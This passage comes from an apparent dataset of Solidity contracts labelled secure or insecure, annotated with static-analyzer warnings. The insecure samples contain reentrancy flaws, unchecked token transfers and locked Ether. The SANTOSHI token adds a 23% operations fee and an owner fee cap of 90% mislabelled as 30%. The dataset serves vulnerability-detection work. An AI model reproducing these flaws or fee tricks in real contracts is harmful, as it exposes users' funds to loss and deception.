allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}",
"file_name": "solidity_code_1818.sol",
"secure": 1,
"size_bytes": 4699
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MathOperators3 {\n function Operator_1() public {\n uint256 a = 1;\n a++;\n }\n}",
"file_name": "solidity_code_1819.sol",
"secure": 1,
"size_bytes": 171
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 1ddbfae): Contract locking ether found Contract Ayane has payable functions Ayane.receive() But does not have a function to withdraw the ether\n// Recommendation for 1ddbfae: Remove the 'payable' attribute or add a withdraw function.\ncontract Ayane is ERC20, Ownable {\n constructor() ERC20(unicode\"Ayane\", unicode\"AYANE\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 1ddbfae): Contract locking ether found Contract Ayane has payable functions Ayane.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 1ddbfae: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_182.sol",
"secure": 0,
"size_bytes": 989
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MathOperators4 {\n uint256 public a = 5;\n function Operator_1() public {\n a = a << 2;\n }\n}",
"file_name": "solidity_code_1820.sol",
"secure": 1,
"size_bytes": 181
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./DividendPayingTokenInterface.sol\" as DividendPayingTokenInterface;\nimport \"./DividendPayingTokenOptionalInterface.sol\" as DividendPayingTokenOptionalInterface;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./SafeMathInt.sol\" as SafeMathInt;\nimport \"./SafeMathUint.sol\" as SafeMathUint;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract DividendPayingToken is\n DividendPayingTokenInterface,\n DividendPayingTokenOptionalInterface,\n Ownable\n{\n using SafeMath for uint256;\n using SafeMathUint for uint256;\n using SafeMathInt for int256;\n\n uint256 internal constant magnitude = 2 ** 128;\n\n mapping(address => uint256) internal magnifiedDividendPerShare;\n address[] public rewardTokens;\n address public nextRewardToken;\n uint256 public rewardTokenCounter;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n mapping(address => mapping(address => int256))\n internal magnifiedDividendCorrections;\n mapping(address => mapping(address => uint256)) internal withdrawnDividends;\n\n mapping(address => uint256) public holderBalance;\n uint256 public totalBalance;\n\n mapping(address => uint256) public totalDividendsDistributed;\n\n constructor() {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n\n rewardTokens.push(address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599));\n\n nextRewardToken = rewardTokens[0];\n }\n\n receive() external payable {\n distributeDividends();\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2943fc4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2943fc4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3cecc79): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3cecc79: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e91af74): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e91af74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function distributeDividends() public payable override {\n require(totalBalance > 0);\n uint256 initialBalance = IERC20(nextRewardToken).balanceOf(\n address(this)\n );\n\t\t// reentrancy-events | ID: 2943fc4\n\t\t// reentrancy-benign | ID: 3cecc79\n\t\t// reentrancy-eth | ID: e91af74\n buyTokens(msg.value, nextRewardToken);\n uint256 newBalance = IERC20(nextRewardToken)\n .balanceOf(address(this))\n .sub(initialBalance);\n if (newBalance > 0) {\n\t\t\t// reentrancy-benign | ID: 3cecc79\n magnifiedDividendPerShare[\n nextRewardToken\n ] = magnifiedDividendPerShare[nextRewardToken].add(\n (newBalance).mul(magnitude) / totalBalance\n );\n\t\t\t// reentrancy-events | ID: 2943fc4\n emit DividendsDistributed(msg.sender, newBalance);\n\n\t\t\t// reentrancy-benign | ID: 3cecc79\n totalDividendsDistributed[\n nextRewardToken\n ] = totalDividendsDistributed[nextRewardToken].add(newBalance);\n }\n\t\t// reentrancy-benign | ID: 3cecc79\n rewardTokenCounter = rewardTokenCounter == rewardTokens.length - 1\n ? 0\n : rewardTokenCounter + 1;\n\t\t// reentrancy-eth | ID: e91af74\n nextRewardToken = rewardTokens[rewardTokenCounter];\n }\n\n function buyTokens(uint256 bnbAmountInWei, address rewardToken) internal {\n address[] memory path = new address[](2);\n path[0] = uniswapV2Router.WETH();\n path[1] = rewardToken;\n\n\t\t// reentrancy-events | ID: 2943fc4\n\t\t// reentrancy-benign | ID: 3cecc79\n\t\t// reentrancy-eth | ID: e91af74\n uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: bnbAmountInWei\n }(0, path, address(this), block.timestamp);\n }\n\n function withdrawDividend(address _rewardToken) external virtual override {\n _withdrawDividendOfUser(payable(msg.sender), _rewardToken);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: f329e4a): DividendPayingToken._withdrawDividendOfUser(address,address) has external calls inside a loop IERC20(_rewardToken).transfer(user,_withdrawableDividend)\n\t// Recommendation for f329e4a: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 74a74a8): DividendPayingToken._withdrawDividendOfUser(address,address) ignores return value by IERC20(_rewardToken).transfer(user,_withdrawableDividend)\n\t// Recommendation for 74a74a8: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function _withdrawDividendOfUser(\n address payable user,\n address _rewardToken\n ) internal returns (uint256) {\n uint256 _withdrawableDividend = withdrawableDividendOf(\n user,\n _rewardToken\n );\n if (_withdrawableDividend > 0) {\n withdrawnDividends[user][_rewardToken] = withdrawnDividends[user][\n _rewardToken\n ].add(_withdrawableDividend);\n emit DividendWithdrawn(user, _withdrawableDividend);\n\t\t\t// reentrancy-events | ID: 5b6b481\n\t\t\t// reentrancy-benign | ID: eb90282\n\t\t\t// calls-loop | ID: f329e4a\n\t\t\t// reentrancy-no-eth | ID: 520bd10\n\t\t\t// unchecked-transfer | ID: 74a74a8\n IERC20(_rewardToken).transfer(user, _withdrawableDividend);\n return _withdrawableDividend;\n }\n\n return 0;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d845d9d): DividendPayingToken.dividendOf(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for d845d9d: Rename the local variables that shadow another component.\n function dividendOf(\n address _owner,\n address _rewardToken\n ) external view override returns (uint256) {\n return withdrawableDividendOf(_owner, _rewardToken);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 835fd36): DividendPayingToken.withdrawableDividendOf(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 835fd36: Rename the local variables that shadow another component.\n function withdrawableDividendOf(\n address _owner,\n address _rewardToken\n ) public view override returns (uint256) {\n return\n accumulativeDividendOf(_owner, _rewardToken).sub(\n withdrawnDividends[_owner][_rewardToken]\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e2714a6): DividendPayingToken.withdrawnDividendOf(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for e2714a6: Rename the local variables that shadow another component.\n function withdrawnDividendOf(\n address _owner,\n address _rewardToken\n ) external view override returns (uint256) {\n return withdrawnDividends[_owner][_rewardToken];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b4410b): DividendPayingToken.accumulativeDividendOf(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 1b4410b: Rename the local variables that shadow another component.\n function accumulativeDividendOf(\n address _owner,\n address _rewardToken\n ) public view override returns (uint256) {\n return\n magnifiedDividendPerShare[_rewardToken]\n .mul(holderBalance[_owner])\n .toInt256Safe()\n .add(magnifiedDividendCorrections[_rewardToken][_owner])\n .toUint256Safe() / magnitude;\n }\n\n function _increase(address account, uint256 value) internal {\n\t\t// cache-array-length | ID: 7701430\n for (uint256 i; i < rewardTokens.length; i++) {\n magnifiedDividendCorrections[rewardTokens[i]][\n account\n ] = magnifiedDividendCorrections[rewardTokens[i]][account].sub(\n (magnifiedDividendPerShare[rewardTokens[i]].mul(value))\n .toInt256Safe()\n );\n }\n }\n\n function _reduce(address account, uint256 value) internal {\n\t\t// cache-array-length | ID: ced04c2\n for (uint256 i; i < rewardTokens.length; i++) {\n magnifiedDividendCorrections[rewardTokens[i]][\n account\n ] = magnifiedDividendCorrections[rewardTokens[i]][account].add(\n (magnifiedDividendPerShare[rewardTokens[i]].mul(value))\n .toInt256Safe()\n );\n }\n }\n\n function _setBalance(address account, uint256 newBalance) internal {\n uint256 currentBalance = holderBalance[account];\n holderBalance[account] = newBalance;\n if (newBalance > currentBalance) {\n uint256 increaseAmount = newBalance.sub(currentBalance);\n _increase(account, increaseAmount);\n totalBalance += increaseAmount;\n } else if (newBalance < currentBalance) {\n uint256 reduceAmount = currentBalance.sub(newBalance);\n _reduce(account, reduceAmount);\n totalBalance -= reduceAmount;\n }\n }\n}",
"file_name": "solidity_code_1821.sol",
"secure": 0,
"size_bytes": 10394
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./DividendPayingToken.sol\" as DividendPayingToken;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./SafeMathInt.sol\" as SafeMathInt;\n\ncontract DividendTracker is DividendPayingToken {\n using SafeMath for uint256;\n using SafeMathInt for int256;\n\n struct Map {\n address[] keys;\n mapping(address => uint256) values;\n mapping(address => uint256) indexOf;\n mapping(address => bool) inserted;\n }\n\n function get(address key) private view returns (uint256) {\n return tokenHoldersMap.values[key];\n }\n\n function getIndexOfKey(address key) private view returns (int256) {\n if (!tokenHoldersMap.inserted[key]) {\n return -1;\n }\n return int(tokenHoldersMap.indexOf[key]);\n }\n\n function getKeyAtIndex(uint256 index) private view returns (address) {\n return tokenHoldersMap.keys[index];\n }\n\n function size() private view returns (uint256) {\n return tokenHoldersMap.keys.length;\n }\n\n function set(address key, uint256 val) private {\n if (tokenHoldersMap.inserted[key]) {\n tokenHoldersMap.values[key] = val;\n } else {\n tokenHoldersMap.inserted[key] = true;\n tokenHoldersMap.values[key] = val;\n tokenHoldersMap.indexOf[key] = tokenHoldersMap.keys.length;\n tokenHoldersMap.keys.push(key);\n }\n }\n\n function remove(address key) private {\n if (!tokenHoldersMap.inserted[key]) {\n return;\n }\n\n delete tokenHoldersMap.inserted[key];\n delete tokenHoldersMap.values[key];\n\n uint256 index = tokenHoldersMap.indexOf[key];\n uint256 lastIndex = tokenHoldersMap.keys.length - 1;\n address lastKey = tokenHoldersMap.keys[lastIndex];\n\n tokenHoldersMap.indexOf[lastKey] = index;\n delete tokenHoldersMap.indexOf[key];\n\n tokenHoldersMap.keys[index] = lastKey;\n tokenHoldersMap.keys.pop();\n }\n\n Map private tokenHoldersMap;\n uint256 public lastProcessedIndex;\n\n mapping(address => bool) public excludedFromDividends;\n\n mapping(address => uint256) public lastClaimTimes;\n\n uint256 public claimWait;\n uint256 public immutable minimumTokenBalanceForDividends;\n\n event ExcludeFromDividends(address indexed account);\n event IncludeInDividends(address indexed account);\n event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);\n\n event Claim(\n address indexed account,\n uint256 amount,\n bool indexed automatic\n );\n\n constructor() {\n claimWait = 1200;\n minimumTokenBalanceForDividends = 1000 * (10 ** 18);\n }\n\n function excludeFromDividends(address account) external onlyOwner {\n excludedFromDividends[account] = true;\n\n _setBalance(account, 0);\n remove(account);\n\n emit ExcludeFromDividends(account);\n }\n\n function includeInDividends(address account) external onlyOwner {\n require(excludedFromDividends[account]);\n excludedFromDividends[account] = false;\n\n emit IncludeInDividends(account);\n }\n\n function updateClaimWait(uint256 newClaimWait) external onlyOwner {\n require(\n newClaimWait >= 1200 && newClaimWait <= 86400,\n \"Dividend_Tracker: claimWait must be updated to between 1 and 24 hours\"\n );\n require(\n newClaimWait != claimWait,\n \"Dividend_Tracker: Cannot update claimWait to same value\"\n );\n emit ClaimWaitUpdated(newClaimWait, claimWait);\n claimWait = newClaimWait;\n }\n\n function getLastProcessedIndex() external view returns (uint256) {\n return lastProcessedIndex;\n }\n\n function getNumberOfTokenHolders() external view returns (uint256) {\n return tokenHoldersMap.keys.length;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 744654b): DividendTracker.getAccount(address,address) uses timestamp for comparisons Dangerous comparisons nextClaimTime > block.timestamp\n\t// Recommendation for 744654b: Avoid relying on 'block.timestamp'.\n function getAccount(\n address _account,\n address _rewardToken\n )\n public\n view\n returns (\n address account,\n int256 index,\n int256 iterationsUntilProcessed,\n uint256 withdrawableDividends,\n uint256 totalDividends,\n uint256 lastClaimTime,\n uint256 nextClaimTime,\n uint256 secondsUntilAutoClaimAvailable\n )\n {\n account = _account;\n\n index = getIndexOfKey(account);\n\n iterationsUntilProcessed = -1;\n\n if (index >= 0) {\n if (uint256(index) > lastProcessedIndex) {\n iterationsUntilProcessed = index.sub(\n int256(lastProcessedIndex)\n );\n } else {\n uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length >\n lastProcessedIndex\n ? tokenHoldersMap.keys.length.sub(lastProcessedIndex)\n : 0;\n\n iterationsUntilProcessed = index.add(\n int256(processesUntilEndOfArray)\n );\n }\n }\n\n withdrawableDividends = withdrawableDividendOf(account, _rewardToken);\n totalDividends = accumulativeDividendOf(account, _rewardToken);\n\n lastClaimTime = lastClaimTimes[account];\n\n nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0;\n\n\t\t// timestamp | ID: 744654b\n secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp\n ? nextClaimTime.sub(block.timestamp)\n : 0;\n }\n\n function getAccountAtIndex(\n uint256 index,\n address _rewardToken\n )\n external\n view\n returns (\n address,\n int256,\n int256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n )\n {\n if (index >= size()) {\n return (\n 0x0000000000000000000000000000000000000000,\n -1,\n -1,\n 0,\n 0,\n 0,\n 0,\n 0\n );\n }\n\n address account = getKeyAtIndex(index);\n\n return getAccount(account, _rewardToken);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7da149b): DividendTracker.canAutoClaim(uint256) uses timestamp for comparisons Dangerous comparisons lastClaimTime > block.timestamp block.timestamp.sub(lastClaimTime) >= claimWait\n\t// Recommendation for 7da149b: Avoid relying on 'block.timestamp'.\n function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {\n\t\t// timestamp | ID: 7da149b\n if (lastClaimTime > block.timestamp) {\n return false;\n }\n\n\t\t// timestamp | ID: 7da149b\n return block.timestamp.sub(lastClaimTime) >= claimWait;\n }\n\n function setBalance(\n address payable account,\n uint256 newBalance\n ) external onlyOwner {\n if (excludedFromDividends[account]) {\n return;\n }\n\n if (newBalance >= minimumTokenBalanceForDividends) {\n _setBalance(account, newBalance);\n set(account, newBalance);\n } else {\n _setBalance(account, 0);\n remove(account);\n }\n\n processAccount(account, true);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 520bd10): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 520bd10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function process(uint256 gas) external returns (uint256, uint256, uint256) {\n uint256 numberOfTokenHolders = tokenHoldersMap.keys.length;\n\n if (numberOfTokenHolders == 0) {\n return (0, 0, lastProcessedIndex);\n }\n\n uint256 _lastProcessedIndex = lastProcessedIndex;\n\n uint256 gasUsed = 0;\n\n uint256 gasLeft = gasleft();\n\n uint256 iterations = 0;\n uint256 claims = 0;\n\n while (gasUsed < gas && iterations < numberOfTokenHolders) {\n _lastProcessedIndex++;\n\n if (_lastProcessedIndex >= tokenHoldersMap.keys.length) {\n _lastProcessedIndex = 0;\n }\n\n address account = tokenHoldersMap.keys[_lastProcessedIndex];\n\n if (canAutoClaim(lastClaimTimes[account])) {\n\t\t\t\t// reentrancy-no-eth | ID: 520bd10\n if (processAccount(payable(account), true)) {\n claims++;\n }\n }\n\n iterations++;\n\n uint256 newGasLeft = gasleft();\n\n if (gasLeft > newGasLeft) {\n gasUsed = gasUsed.add(gasLeft.sub(newGasLeft));\n }\n gasLeft = newGasLeft;\n }\n\n\t\t// reentrancy-no-eth | ID: 520bd10\n lastProcessedIndex = _lastProcessedIndex;\n\n return (iterations, claims, lastProcessedIndex);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5b6b481): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5b6b481: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eb90282): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for eb90282: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 954bf2c): DividendTracker.processAccount(address,bool).paid is a local variable never initialized\n\t// Recommendation for 954bf2c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function processAccount(\n address payable account,\n bool automatic\n ) public onlyOwner returns (bool) {\n uint256 amount;\n bool paid;\n for (uint256 i; i < rewardTokens.length; i++) {\n\t\t\t// reentrancy-events | ID: 5b6b481\n\t\t\t// reentrancy-benign | ID: eb90282\n amount = _withdrawDividendOfUser(account, rewardTokens[i]);\n if (amount > 0) {\n\t\t\t\t// reentrancy-benign | ID: eb90282\n lastClaimTimes[account] = block.timestamp;\n\t\t\t\t// reentrancy-events | ID: 5b6b481\n emit Claim(account, amount, automatic);\n paid = true;\n }\n }\n return paid;\n }\n}",
"file_name": "solidity_code_1822.sol",
"secure": 0,
"size_bytes": 11422
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"./DividendTracker.sol\" as DividendTracker;\n\ncontract SANTOSHI is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 92d5607): SANTOSHI.dividendTracker should be immutable \n\t// Recommendation for 92d5607: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n DividendTracker public dividendTracker;\n\n address public operationsWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 585db3f): SANTOSHI.swapTokensAtAmount should be immutable \n\t// Recommendation for 585db3f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public swapTokensAtAmount;\n uint256 public maxTxn;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03aadf6): SANTOSHI.liquidityActiveBlock should be constant \n\t// Recommendation for 03aadf6: Add the 'constant' attribute to state variables that never change.\n uint256 public liquidityActiveBlock = 0;\n uint256 public tradingActiveBlock = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 54cedd5): SANTOSHI.earlyBuyPenaltyEnd should be constant \n\t// Recommendation for 54cedd5: Add the 'constant' attribute to state variables that never change.\n uint256 public earlyBuyPenaltyEnd;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\n uint256 public constant feeDivisor = 1000;\n\n uint256 public totalSellFees;\n uint256 public rewardsSellFee;\n uint256 public operationsSellFee;\n uint256 public liquiditySellFee;\n\n uint256 public totalBuyFees;\n uint256 public rewardsBuyFee;\n uint256 public operationsBuyFee;\n uint256 public liquidityBuyFee;\n\n uint256 public tokensForRewards;\n uint256 public tokensForOperations;\n uint256 public tokensForLiquidity;\n\n uint256 public gasForProcessing = 0;\n\n uint256 public lpWithdrawRequestTimestamp;\n\t// WARNING Optimization Issue (constable-states | ID: 96d7bc7): SANTOSHI.lpWithdrawRequestDuration should be constant \n\t// Recommendation for 96d7bc7: Add the 'constant' attribute to state variables that never change.\n uint256 public lpWithdrawRequestDuration = 3 days;\n bool public lpWithdrawRequestPending;\n uint256 public lpPercToWithDraw;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);\n event ExcludedMaxTransactionAmount(\n address indexed account,\n bool isExcluded\n );\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event OperationsWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event DevWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event GasForProcessingUpdated(\n uint256 indexed newValue,\n uint256 indexed oldValue\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n\n event SendDividends(uint256 tokensSwapped, uint256 amount);\n\n event ProcessedDividendTracker(\n uint256 iterations,\n uint256 claims,\n uint256 lastProcessedIndex,\n bool indexed automatic,\n uint256 gas,\n address indexed processor\n );\n\n event RequestedLPWithdraw();\n\n event WithdrewLPForMigration();\n\n event CanceledLpWithdrawRequest();\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 295cdd9): SANTOSHI.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 295cdd9: Rename the local variables that shadow another component.\n constructor() ERC20(\"Santoshi\", \"SANTOSHI\") {\n uint256 totalSupply = 21 * 1e6 * 1e18;\n\n swapTokensAtAmount = (totalSupply * 1) / 100;\n maxTxn = (totalSupply * 1) / 100;\n\n rewardsBuyFee = 10;\n operationsBuyFee = 230;\n liquidityBuyFee = 10;\n totalBuyFees = rewardsBuyFee + operationsBuyFee + liquidityBuyFee;\n\n rewardsSellFee = 10;\n operationsSellFee = 230;\n liquiditySellFee = 10;\n totalSellFees = rewardsSellFee + operationsSellFee + liquiditySellFee;\n\n dividendTracker = new DividendTracker();\n\n operationsWallet = address(msg.sender);\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = _uniswapV2Pair;\n\n _setAutomatedMarketMakerPair(_uniswapV2Pair, true);\n\n dividendTracker.excludeFromDividends(address(dividendTracker));\n dividendTracker.excludeFromDividends(address(this));\n dividendTracker.excludeFromDividends(owner());\n dividendTracker.excludeFromDividends(address(_uniswapV2Router));\n dividendTracker.excludeFromDividends(address(0xdead));\n\n excludeFromFees(owner(), true);\n excludeFromFees(address(this), true);\n excludeFromFees(address(0xdead), true);\n excludeFromMaxTransaction(owner(), true);\n excludeFromMaxTransaction(address(this), true);\n excludeFromMaxTransaction(address(dividendTracker), true);\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n excludeFromMaxTransaction(address(0xdead), true);\n\n _createInitialSupply(address(owner()), totalSupply);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 46b614c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 46b614c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7875453): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7875453: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function addPresaleAddressForExclusions(\n address _presaleAddress\n ) external onlyOwner {\n excludeFromFees(_presaleAddress, true);\n\t\t// reentrancy-events | ID: 46b614c\n\t\t// reentrancy-benign | ID: 7875453\n dividendTracker.excludeFromDividends(_presaleAddress);\n\t\t// reentrancy-events | ID: 46b614c\n\t\t// reentrancy-benign | ID: 7875453\n excludeFromMaxTransaction(_presaleAddress, true);\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n return true;\n }\n\n function excludeFromDividends(address account) external onlyOwner {\n dividendTracker.excludeFromDividends(account);\n }\n\n function includeInDividends(address account) external onlyOwner {\n dividendTracker.includeInDividends(account);\n }\n\n function enableTrading() external onlyOwner {\n require(!tradingActive, \"Cannot re-enable trading\");\n tradingActive = true;\n swapEnabled = true;\n tradingActiveBlock = block.number;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n function updateMaxWalletAmount(uint256 newNum) external {\n require(_msgSender() == operationsWallet);\n\n require(\n newNum > ((totalSupply() * 1) / 100) / 1e18,\n \"Cannot set maxTxn lower than 1%\"\n );\n maxTxn = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 65a7f8d): Missing events for critical arithmetic parameters.\n\t// Recommendation for 65a7f8d: Emit an event for critical parameter changes.\n function updateBuyFee(\n uint256 _operationsFee,\n uint256 _rewardsFee,\n uint256 _liquidityFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 65a7f8d\n operationsBuyFee = _operationsFee;\n\t\t// events-maths | ID: 65a7f8d\n rewardsBuyFee = _rewardsFee;\n\t\t// events-maths | ID: 65a7f8d\n liquidityBuyFee = _liquidityFee;\n\t\t// events-maths | ID: 65a7f8d\n totalBuyFees = operationsBuyFee + rewardsBuyFee + liquidityBuyFee;\n require(totalBuyFees <= 900, \"Must keep fees at 30% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5be8967): Missing events for critical arithmetic parameters.\n\t// Recommendation for 5be8967: Emit an event for critical parameter changes.\n function updateSellFee(\n uint256 _operationsFee,\n uint256 _rewardsFee,\n uint256 _liquidityFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 5be8967\n operationsSellFee = _operationsFee;\n\t\t// events-maths | ID: 5be8967\n rewardsSellFee = _rewardsFee;\n\t\t// events-maths | ID: 5be8967\n liquiditySellFee = _liquidityFee;\n\t\t// events-maths | ID: 5be8967\n totalSellFees = operationsSellFee + rewardsSellFee + liquiditySellFee;\n require(totalSellFees <= 900, \"Must keep fees at 30% or less\");\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n\t\t// reentrancy-benign | ID: 7875453\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n\t\t// reentrancy-events | ID: 46b614c\n emit ExcludedMaxTransactionAmount(updAds, isEx);\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFees[accounts[i]] = excluded;\n }\n\n emit ExcludeMultipleAccountsFromFees(accounts, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The PancakeSwap pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n 